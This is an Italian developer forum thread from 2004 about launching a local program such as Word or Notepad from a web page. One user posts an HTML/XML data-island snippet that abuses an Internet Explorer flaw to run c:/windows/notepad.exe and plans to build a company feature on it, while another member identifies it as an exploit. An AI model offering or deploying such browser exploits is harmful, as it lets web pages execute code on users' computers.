Attivare un programma in locale con javascript

giovedì 27 maggio 2004 - 09.36

Klaus-zanini Profilo | Senior Member

Ciao a tutti,
vorrei sapere se è possibile attraverso un javascript attivare un programma presente nel client.
Ad esempio se l'utente preme un pulsante della pagina web fargli aprire word.
Con un javascript si può fare?
Grazie Klaus

Brainkiller Profilo | Guru

Klaus, no non si può fare. E' sempre il solito problema.
Io ti invito a pensare... se tu con un Javascript potessi far aprire dietro click un programma ad un utente sul client, significa che potresti aprireglielo anche automaticamente.
Se ci fosse questa possibilità potresti combinargli di tutto sul suo computer, ti sembra una cosa ammissibile ? Direi di no.

Per il caso di Word è diverso. Se tu via ASP.NET fai un Response.Redirect e redirigi l'utente su un documento .doc, se per caso l'utente ha Word installato probabilmente gli si aprirà un'istanza dello stesso nel Browser con il documento caricato.

ciao
david

Klaus-zanini Profilo | Senior Member

David,
ho trovato qualcosa che potrebbe fare al caso mio!
Se inserisco queste righe in una pagina html vuota, se la apro lei mi apre anche Notepad.

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111"
codebase="c:/windows/notepad.exe">
</object>
]]>
</exploit>
</security>
</xml>
</body>

Non so esattamente il suo concetto di fondo, ma per lo meno riesce a risolvere in parte il mio problema, infatti funziona se è una pagina presente nel client. Mettendo il corpo in un file aspx mi apre la pagina ma non attiva nulla.
Tu sai di cosa si tratta?
Grazie klaus

Klaus-zanini Profilo | Senior Member

Ci sono riuscito!!!

:)

Il codice che ho scritto prima funziona!
Chiaramente il server deve conoscere dove si trova il file html con quel codice, ma questo mi permette di far partire in automatico l'eseguibile.
Il codice inserito direttamente su codice compilato da .NET non fa nulla, ma se da un file aspx attivo un javascript che un window.open apre il file html con il codice, il gioco è fatto!

Fammi sapere che ne pensi!

Ciao Klaus

Klaus-zanini Profilo | Senior Member

Ma come?
Come potrebbe il mio server far lanciare un eseguibile sul client con Process? Mi è sempre stato detto che non si può in .NET!
Gentilmente, se dici che è possibile, mi potresti scrivere il codice che dovrei utilizzare?

Grazie kla

Brainkiller Profilo | Guru

:) Klaus ma questo probabilmente che riporti è un Exploit.
Cioè un costrutto di codice che sfrutta una falla o un bug di Internet Explorer.... :)
Come fai a creare delle applicazioni che si basno su dei bug ? :)

ciao
david

Klaus-zanini Profilo | Senior Member

Caro david,
ti do piena ragione, ma le necessità d'azienda a volte portano a fare scelte veramente strane...
Io ho pochissima esperienza e non conosco VB6 (e non sono interessati a farmelo imparare!!!) quindi devo trovare delle vie alternative. Per ora così funziona e se il bug dovesse essere sistemato nel futuro rendendo inutilizzabile la mia soluzione mi daranno il tempo di studiare VB6.
Cmq, se hai idee che possano essere efficienti e più eleganti le accetto con gioia :)

grazie klaus

Brainkiller Profilo | Guru

Allora, occhio però.
Se stai nella zona My Computer e apri il file .html lui si apre e parte il notepad, ma se sei nella zona Internet, le impostazioni di Default di IE te lo bloccano e non si apre quindi sei già a piedi. Bisogna vedere se è una cosa che usi internamente su una Intranet o via Internet.

ciao
david

Klaus-zanini Profilo | Senior Member

Il tutto funziona così:
chi vuole poter accedere alla funzionalità di apertura automatica del programma deve scaricarsi la pagina (chiamiamola pippo.html) e salvarla in un indirizzo da me definito (ad esempio C:\disney).
A questo punto se sceglie un link particolare del mio sito che gestisce l'apertura di "C:\disney\pippo.html" con un javascript window.open, la pagina si caricherà e questa carica l'eseguibile.

So che è brutto e poco elegante...ma purtroppo devo cercare di trovare soluzioni alle richieste che mi vengono fatte (anche se a volte sembrano FOLLI!)

Grazie Klaus

PS: In questo Thread http://www.dotnethell.it/forum/messages.aspx?ThreadID=1185 ti chiedevo se eri interessato ad un mio possibile articolo sull'RSA...Fammi sapere se ti può interessare
Partecipa anche tu! Registrati!
Hai bisogno di aiuto ?
Perchè non ti registri subito?

Dopo esserti registrato potrai chiedere
aiuto sul nostro Forum oppure aiutare gli altri

Consulta le Stanze disponibili.

Registrati ora !
Copyright © dotNetHell.it 2002-2024
Running on Windows Server 2008 R2 Standard, SQL Server 2012 & ASP.NET 3.5